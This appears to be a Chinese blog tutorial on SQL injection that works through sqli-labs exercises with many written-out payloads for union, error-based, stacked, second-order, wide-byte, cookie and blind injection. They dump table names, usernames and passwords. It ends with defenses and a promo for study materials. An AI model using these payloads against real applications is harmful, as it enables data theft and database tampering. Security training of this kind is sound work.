注入漏洞-SQL注入
引言
SQL 注入是 Web 安全领域中一种典型的数据库攻击方式,主要由于程序对用户输入的数据缺乏有效过滤和参数化处理,导致攻击者可以影响原有 SQL 语句的执行逻辑。该漏洞可能造成敏感数据泄露、身份认证绕过、数据篡改等严重后果。
漏洞类型
有回显类型(非绝对,由实际代码来分析):联合查询注入、报错注入、堆叠查询注入、二次注入、宽字节注入、Cookie 注入。
无回显类型(非绝对,由实际代码来分析):布尔盲注、时间盲注。
sql注入攻击流程
确定注入点->判断注入类型->获取数据库信息(用户、版本、服务器信息)->获取数据库名->获得数据库表名->获得数据库字段->获得数据库数据
确定注入点:and 1=1–+、or 1=1–+。
判断注入类型:数字型除0,字符型加英文单双引号,盲注看延时,搜索类加%与_。
靶场实践
sqli-labs1(联合查询注入)

在靶场就确定注入点了,直接判断注入类型,数字型除0没反应,字符型单引号报错了


确定是字符型,先闭合单引号,查询一下列数,常用方法有:order by 列数、union select NULL*列数。有时候可以用:group by 列数(超过最大列数会报错)、…。



确定有三列,用联合注入,查看数据库信息。常用方法:UNION 、 UNION ALL。
database()/schema():数据库名;
version()/@@version:数据库版本;
user()/current_user():数据库用户;
@@basedir:数据库安装路径;
这里的命令是MySQL可以用的,不同数据库可能不同!!!


接下来解释获得数据库中的数据库名,表名,列名。
知识点:mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。
GROUP_CONCAT()可替代函数:CONCAT()、CONCAT_WS()、JSON_ARRAYAGG()(mysql高版本可以用)、JSON_OBJECTAGG()。
union
这里我就快速通过了。
查表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查字段
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查数据
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
sqli-labs17(报错注入)
可用函数:
- updatexml() 报错注入:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
# 查版本
uname=admin&passwd=1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#&submit=Submit
# 查数据库名
uname=admin&passwd=1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#&submit=Submit
# 查表名
uname=admin&passwd=1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#&submit=Submit
# 查列名
uname=admin&passwd=1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#&submit=Submit
# 查数据
uname=admin&passwd=1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#&submit=Submit
- extractvalue() 报错注入:
?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+
# 查版本
uname=admin&passwd=123' and (updatexml(1,concat(0x5c,version(),0x5c),1))##&submit=Submit
# 查数据库名
uname=admin&passwd=123' and (updatexml(1,concat(0x5c,database(),0x5c),1))#&submit=Submit
# 查表名
uname=admin&passwd=123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#&submit=Submit
# 查列名
uname=admin&passwd=123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#&submit=Submit
# 查数据
uname=admin&passwd=123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#&submit=Submit
- floor(rand()) 双查询报错:
?id=1' and (select 1 from (select count(*),concat(database(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)--+
https://blog.youkuaiyun.com/miraclehw/article/details/129250360
# 查版本
uname=admin&passwd=1' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#&submit=Submit
# 查数据库名
uname=admin&passwd=1' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#&submit=Submit
# 查表名
uname=admin&passwd=1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#&submit=Submit
# 查列名
uname=admin&passwd=1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#&submit=Submit
# 查数据
uname=admin&passwd=1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#&submit=Submit
sqli-labs38(堆叠查询注入)
先确定是否可以堆叠查询注入
# 添加数据
?id=3';insert into users(id,username,password) values(99,'stacked','test')--+
# 查询数据,数据和我们添加的一样,即可以确定有堆叠查询注入
?id=99';--+
# 查询数据库名
?id=1';insert into users(id,username,password) values (91,'test',database())--+
?id=91';--+
# 查询表名(分段查询)
?id=9';insert into users(id,username,password) select 93,'2',substring(group_concat(table_name),1,20) from information_schema.tables where table_schema='security'--+
?id=93
# 查询列名
?id=1';insert into users(id,username,password) values(26,'1',(select substring(group_concat(column_name),1,20) from information_schema.columns where table_schema=database() and table_name='users'))--+
?id=26
# 查询数据
?id=1';insert into users(id,username,password) select 27,'1',substring(group_concat(concat(username,0x3a,password)),1,20) from users--+
?id=27
sqli-labs24(二次注入)
原因: 第一次输入没有直接触发注入,而是把恶意字符串存进数据库;第二次业务功能从数据库 / session 取出这个字符串后,又直接拼接进 SQL,才真正触发注入。
二次注入的特点是: payload 在一个入口被提交,但不是在这个入口立刻生效,而是在后续另一个 SQL 查询使用该数据时触发。
我们先注册一个账号:admin’#,密码:admin
这里注册的时候,后端对单引号有继续转义,但是进去数据库后是没有转义的,最后取出来后单引号和后端代码的单引号闭合,从而实现注入。

登录成功后,进去修改密码,最后修改的是admin的密码




sqli-labs32(宽字节注入)
原因: 程序把单引号转义成\ ',但数据库使用 GBK 编码解析 SQL。攻击者在单引号前放入特定高位字节,使程序添加的反斜杠 0x5c 与前一个字节组成合法 GBK 字符,从而让后面的单引号逃逸出来,重新闭合 SQL 字符串。(可以理解为后端以单字节来表示一个字符,而数据库设置的gbk是以两个字节来表示一个字符,所以在编码的时候出现了问题,从而实现了注入)
常用注入前缀:%df%27(单引号闭合)、%df%22(双引号闭合)。
# 查询版本
?id=-1%df%27%20union%20select%201,version(),3%20%23
# 查询数据库名
?id=-1%df%27%20union%20select%201,database(),3%20%23
# 查询表名
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%23
# 查询列名
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273%23
# 查询数据
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users%23
sqli-labs20(Cookie 注入)
其实和其它的sql注入差别不是很大,只是将输入的地方换到了cookie。还有像refer注入类似的,我就不一一举例了。
注意cookie的uname=admin,这个就是注入点。

# 查询版本
uname=admin'union select 1,2, UPDATEXML(1,CONCAT(0x7e,version(),0x7e),1)%23
# 查询数据库名
uname=admin' union select UPDATEXML(1,CONCAT(0x7e,DATABASE(),0x7e),1)%23
# 查询表名
uname=admin' union select 1,2,UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)%23
# 查询列名
uname=admin' union select 1,2,UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'),0x7e),1)%23
# 查询数据
uname=admin' union select 1,2,UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT('USER:',username,' PASS:',password) FROM users LIMIT 0,1),0x7e),1)%23
sqli-labs62(布尔盲注)
布尔盲注就是把想知道的问题改造成一个真假条件,让数据库回答“是”或“否”,再通过页面显示差异逐步还原数据库信息。
一般用于目标不会直接显示查询结果,也不会显示数据库报错,但 SQL 条件真假会影响页面响应的地方。
# 确定注入点
?id=1') and 1=1-- -
# 查询版本
?id=1') and ascii(substr(version(),1,1))=53-- -
# 查询数据库名
?id=1') and ascii(substr(database(),1,1))=99-- -
# 查询表名
?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=112-- -
# 查询列名
?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x7033697361753568797a limit 0,1),1,1))=105-- -
# 查询数据
?id=1') and ascii(substr((select concat(sessid,0x3a,secret_4CAT) from p3isau5hyz limit 0,1),1,1))=54-- -
sqli-labs9(时间盲注)
一般在存在 SQL 注入漏洞,但“无回显”、布尔盲注不可用或不稳定、数据库支持延迟函数与响应时间可被稳定观测的情况下使用。
# 确定注入点
?id=1' and if(1=1,sleep(5),1)--+
# 判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+
# 判断数据库名
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
# 判断所有表名长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
# 判断表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
# 判断所有列名的长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
# 判断列名
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
# 判断数据内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
# 判断数据内容
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
sql注入防御策略
- 使用参数化查询:SQL 语句结构先固定,用户输入只作为“数据”,不会参与 SQL 解析。
- 输入验证和输出过滤:通过正则表达式或者白名单等手段来限制输入,对输出结果明显不合理的进行过滤和禁止。
- 最小权限原则:只给完成任务所需的最低权限,用来减少误操作、越权和攻击成功后的破坏范围。
- 使用准备语句:把 SQL 模板和用户输入分开处理,让用户输入只能当“数据”,不能当“SQL 代码”。
- 使用 ORM 框架:把数据库表映射成程序里的对象,让开发者尽量不用手写 SQL。
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

778



被折叠的 条评论
为什么被折叠?



